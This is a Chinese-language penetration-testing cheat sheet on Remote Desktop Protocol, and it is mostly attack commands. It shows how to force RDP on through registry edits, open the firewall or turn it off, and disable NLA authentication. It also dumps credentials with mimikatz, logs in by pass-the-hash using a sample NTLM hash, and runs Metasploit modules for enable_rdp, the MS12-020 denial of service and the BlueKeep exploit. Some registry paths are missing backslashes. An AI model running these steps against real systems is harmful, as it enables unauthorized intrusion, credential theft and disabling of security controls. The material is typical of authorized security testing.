RDP协议
RDP,Remote Desktop Protocol,远程桌面协议,该协议是对国际电信联盟发布的一个国际标准的多通道会议协议T.120 的一个扩展。远程桌面协议让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相应的客户端。远程桌面协议在服务端默认监听 TCP 3389 端口的数据。远程桌面协议为用户提供了通过网络连接远程登录到另一台计算机的图形界面。
查看RDP是否开启
查看是否开启
查看注册表
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
查看RDP服务的端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber
查看进程
tasklist /svc | find "TermService" # 找到对应服务进程的 PID
netstat -ano | find "3389" # 找到进程对应的端口号
强制开启RDP
修改注册表允许远程桌面连接
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
如果目标开启了防火墙,还需要配置防火墙为允许远程桌面连接
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
或者直接关闭防火墙
netsh advfirewall set allprofiles state off
通过 Metasploit 模块启动RDP
使用metasploit
启动 首先要获取目标一个session
,然后使用后渗透模块post/windows/manage/enable_rdp 开启远程连接。
use post/windows/manage/enable_rdp
set session 1
exploit
远程桌面的连接
Linux
redesktop IP
Windows
搜索 mstsc
但是有时候还是会报错
关闭鉴权模式就可以正常连接了
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
PTH 登录远程 RDP
先检查是否开启RDP服务,如果没开启就给他开启
然后在目标机器上mimikatz执行命令获取NTLM的哈希值
privilege::debugsekurlsa::logonpasswords
在我们的Windows攻击机上
privilege::debugsekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:781fd284a63ba30ef7a09a68a3a96fe8 "/run:mstsc.exe /restrictedadmin"
RDP相关的漏洞
MS12-020
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set rhosts 192.168.93.20
set rport 3389
exploit
CVE-2019-0708
在msf里面利用 exploit/windows/rdp/cve_2019_0708_bluekeep_rce
参考文章:
里面还有更多详细的用法